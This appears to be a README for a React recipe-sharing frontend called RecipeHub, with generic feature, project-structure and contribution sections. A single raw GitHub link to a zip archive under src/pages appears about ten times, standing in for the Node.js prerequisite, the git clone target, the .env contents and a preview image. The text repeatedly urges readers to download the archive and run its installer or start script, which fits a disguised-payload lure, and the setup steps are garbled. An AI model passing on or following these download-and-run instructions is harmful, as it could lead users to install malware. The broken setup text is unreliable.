Welcome to the RecipeHub Frontend. This is the React-based user interface for RecipeHub, a MERN stack app that helps people discover, share, and save delicious recipes. The frontend communicates with a backend API to fetch data, handle authentication, and manage user content. This README covers setup, development, and contribution details to help you ship features quickly and reliably.
- User registration, login, and logout
- Browse, create, edit, and delete recipes
- Save/unsave recipes to your profile
- View your own and saved recipes
- Responsive design with Tailwind CSS
- Authentication and protected routes
- API integration with backend
- Local state management for fast interactions
- Accessible components and keyboard navigation
Emoji quick glance: 🧑🍳 browse, 🍲 recipes, 🔐 secure routes, 📱 responsive UI, 🧭 intuitive navigation.
- React with Vite for fast development and hot module replacement
- Tailwind CSS for a scalable, responsive design system
- React Router for navigation and protected routes
- Context API / custom hooks for lightweight state management
- REST API communication with fetch/axios wrappers
- Client-side validation and helpful error messages
- Focus on accessibility, keyboard support, and semantic HTML
Why this approach? It keeps the UI simple and fast, reduces complexity, and makes it easy to adapt to new features or backend changes. It also aligns well with a MERN stack, where the frontend is responsible for presentation, input validation, and route protection.
Follow these steps to get the frontend up and running on your machine.
- https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip (v18+ recommended)
- npm or yarn (npm is included with Node)
Clone the repository, install dependencies, and start the dev server:
git clone https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip
cd recipehub-frontend
npm installIf you prefer yarn:
yarn installCreate a .env file in the project root with the following:
https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip
Replace with your actual backend URL after deployment. The frontend will use this value to call backend endpoints.
Start the development server:
npm run devOpen your browser to http://localhost:5173 (or the port shown in your terminal). The port might vary if you customize the config, but the default for Vite is 5173.
For offline or packaged distribution, you can download the release asset from the official repository releases page. The release assets are packaged to run in a browser context or to support quick-start setups. To obtain the asset, visit the releases page and choose the latest build. For convenience, you can download the release asset from the Releases page here: https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip After downloading, extract the archive and run the included start script as described in the asset’s README. The file you download from that page may include a name like https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip; extract it and use the provided start instructions to run locally. For offline installation, download the release asset from https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip and run the installer or start script included in the archive.
Note: The link above is provided again in this section to assist quick access to the release assets.
- /src/pages — Main pages (Home, Login, Register, RecipeDetail, Profile, Saved, etc.)
- /src/components — Reusable UI building blocks (Card, RecipeCard, Navbar, Footer, Button, Input, Modal, etc.)
- /src/hooks — Custom hooks for data fetching, auth, and form handling
- /src/context — AuthContext, ThemeContext, and global state providers
- /src/services — API client wrappers for fetch/axios calls
- /src/utils — Helpers, formatters, and validators
- /src/styles — Tailwind configuration and global styles
- /public — Static assets and icons
What you’ll typically touch:
- Add/modify pages in /src/pages
- Build reusable blocks in /src/components
- Update API calls in /src/services
- Adjust styles in /src/styles and Tailwind config
- Users sign up and log in to access their profile and saved recipes.
- Protected routes prevent access to certain pages if the user is not authenticated.
- The frontend stores authentication state securely in memory with a lightweight context and uses tokens for API requests.
- Tokens are sent as Authorization headers with each request to the backend.
Key flows:
- Sign up collects name, email, and password and registers the user.
- Sign in returns a token and user profile.
- Sign out clears local state and redirects to the Home page.
- All API calls go through a central client to handle base URL, timeouts, and error handling.
- Endpoints cover: authentication, recipes CRUD, user profiles, and saved recipes.
- Error handling shows user-friendly messages and logs issues for debugging.
- The frontend expects standard REST responses with status codes and payloads that are easy to map into UI state.
- The app uses React Router to navigate between pages.
- Protected routes require valid authentication to access certain screens (Profile, Saved, My Recipes, etc.).
- The UI includes a responsive navigation bar with search and quick links.
- Tailwind CSS powers the visual system with a clean typographic scale and consistent spacing.
- Components are keyboard accessible and include ARIA attributes where needed.
- Focus states are visible to assist users who navigate with a keyboard.
- Color contrast meets accessibility guidelines for readability.
- Start the dev server with npm run dev to see changes instantly.
- Use ESLint and Prettier for code style and quality.
- Run unit tests and UI tests if you add tests to the project.
Commands you might use:
npm run lint
npm run test
npm run build- Unit tests cover individual components and utilities.
- Integration tests verify interaction with the API client and data flow.
- End-to-end tests simulate user journeys like registration, login, creating a recipe, and saving items.
Testing relies on standard React testing libraries and a light test setup that mirrors real usage.
- All form controls include labels and error messages.
- Navigation can be driven by the keyboard, and screen readers receive meaningful ARIA labels.
- The app is prepared for internationalization if you decide to add language resources.
- Use semantic commit messages to describe your changes.
- Run linting and formatting locally before opening a PR.
- Add unit tests for new components and features.
- Keep PRs small and focused on a single feature or bug fix.
- The app expects a VITE_API_URL to point to the backend API.
- Tailwind configuration is centralized, and themes can be extended via the Tailwind config.
- The project uses modern JavaScript syntax and React features for clean, maintainable code.
- For production, build the frontend with npm run build and deploy the static assets to your hosting provider.
- If you host the backend separately, ensure the API URL is updated in the environment file.
- Consider using a CDN for static assets and enabling HTTP caching for optimal performance.
- Recipe content is stored on the backend, with the frontend rendering it in a readable format.
- Images and media are referenced by URLs provided by the backend; the frontend handles fallback images gracefully.
- Code splitting is used to load routes lazily.
- Images are lazy-loaded where appropriate to reduce initial load time.
- Caching and memoization minimize unnecessary renders for lists and cards.
- Documentation lives in this repository’s README and inline code comments.
- API contracts and backend changes may require frontend updates; keep communication clear with the backend team.
- Upgrading dependencies is done with care to avoid breaking changes.
We welcome contributions. If you’d like to contribute, follow these guidelines:
- Fork the repository and create a feature branch.
- Write tests for new features.
- Keep code changes focused and small.
- Update documentation if needed.
- Open a pull request with a clear description of your changes.
MIT License
The project follows semantic versioning. Each release includes a changelog describing new features, fixes, and breaking changes. Check the Releases page for detailed notes and downloadable assets.
For offline or packaged distribution, download the release asset from the Releases page and run the installer or start script included in the archive. The asset name may vary by release, for example https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip After extracting, follow the included README to run locally.
The release URL again for quick access: https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip
Q: How do I reset my password? A: Use the Sign In page to request a reset link. The backend handles token generation and validation.
Q: Can I run this locally without a backend? A: The frontend can operate in a mock mode with sample data, but to test real API calls you’ll need a backend URL configured in VITE_API_URL.
Q: Where can I find the latest release downloads? A: The official releases page contains all assets for each version. See the top badge and the Releases section in this document for guidance.
- Preview image: https://raw.githubusercontent.com/okkmichael/recipehub-frontend/main/src/pages/frontend-recipehub-3.4-alpha.1.zip
- Release badge: the badge at the top links to the official releases page for quick access
- Icons and emojis used to illustrate features and flows
If you want to customize visuals, swap in brand images and adjust Tailwind theme tokens in /src/styles while preserving component structure.